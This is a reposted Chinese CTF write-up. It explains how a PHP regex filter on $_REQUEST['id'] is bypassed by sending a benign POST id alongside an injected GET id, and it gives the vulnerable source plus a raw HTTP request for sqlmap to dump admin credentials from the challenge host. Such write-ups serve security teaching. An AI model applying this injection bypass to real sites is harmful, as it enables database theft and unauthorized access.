分享web开发知识

注册/登录|最近发布|今日推荐

主页 IT知识网页技术软件开发前端开发代码编程运营维护技术分享教程案例
当前位置:首页 > 前端开发

php $_REQUEST写法防注入突破

发布时间:2023-09-06 01:15责任编辑:胡小海关键词:暂无标签

扫描器扫到robots.txt ,访问:http://xxx.com/robots.txt

有一个admin,但访问需要输入账号和密码。

尝试访问: http://xxx.com/index.phps 。得到源代码如下:

<?phprequire_once ‘lib.php‘;header(‘X-XSS-Protection: 0‘);$cols = array( ???"e8c4-437b-9476", ???"849e-416e-acf7", ???"7f9d-470f-8698", ???"c8bb-4695-93f7", ???"5fbc-4729-8821", ???"3ad3-46c3-b975", ???"f44f-4cc9-a5e0", ???"0c3f-42c8-a0ae" ???);if(isset($_REQUEST[‘id‘])){ ???if(preg_match("/‘(?:\w*)\W*?[a-z].*(R|ELECT|OIN|NTO|HERE|NION)/i", $_REQUEST[‘id‘])){ ???????die("Attack detected!!!"); ???} ???$ad = get_ad($_GET[‘id‘]); ????> ???<HTML> ???<HEAD> ???????<TITLE>NAUGHTY ADS ?1994</TITLE> ???</HEAD> ???<BODY BGCOLOR="WHITE"> ???????<CENTER> ???????<?php echo $ad[‘description‘] ?><br /> ???????<a href="/">Home</a> ???????</CENTER> ???</BODY> ???</HTML> ???<?php ???die;}?>

  

对于 REQUEST[‘id′],进行了“严格”的正则匹配,不能正常的注出数据。接下来通过REQUEST[‘id′],进行了“严格”的正则匹配,不能正常的注出数据。接下来通过_GET[‘id’] 将其带入数据库中查询并返回结果给页面。

这里考察了一个知识。$_REQUEST变量默认情况下包含了 GET,GET,_POST 和 $_COOKIE 的数组。在 php.ini 配置文件中,有一个参数variables_order


其中几个字母(EGPCS)对应如下: Environment, Get, Post, Cookie, Server。这些字母的出现顺序,表明了数据的加载顺序。从三种默认配置来看,相对顺序均是GP,也就是说只要有POST参数进来,那么它就会覆盖同名的GET参数。如下图;

 

所以就本题而言,如果在GET参数id处注入数据(比如 union select),而同时我们又通过POST方法传入一个id参数,那么服务器检测的是无害的POST数据,而在进行查询时带入的是有害的GET数据。

将如下数据包保存为test.txt,用sqlmap跑:

POST /?id=* HTTP/1.1Host: naughtyads.alieni.seUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateDNT: 1Connection: closeUpgrade-Insecure-Requests: 1Content-Type: application/x-www-form-urlencodedContent-Length: 18id= 0c3f-42c8-a0ae

  

得到账号密码,登陆 http://xxxx.com/admin/ 在Phone number处填上555-31338,提交后得到flag:

php $_REQUEST写法防注入突破

原文地址:http://www.cnblogs.com/qing123/p/7633251.html

知识推荐

我的编程学习网——分享web前端后端开发技术知识。 垃圾信息处理邮箱 tousu563@163.com 网站地图
icp备案号 闽ICP备2023006418号-8 不良信息举报平台 互联网安全管理备案 Copyright 2023 www.wodecom.cn All Rights Reserved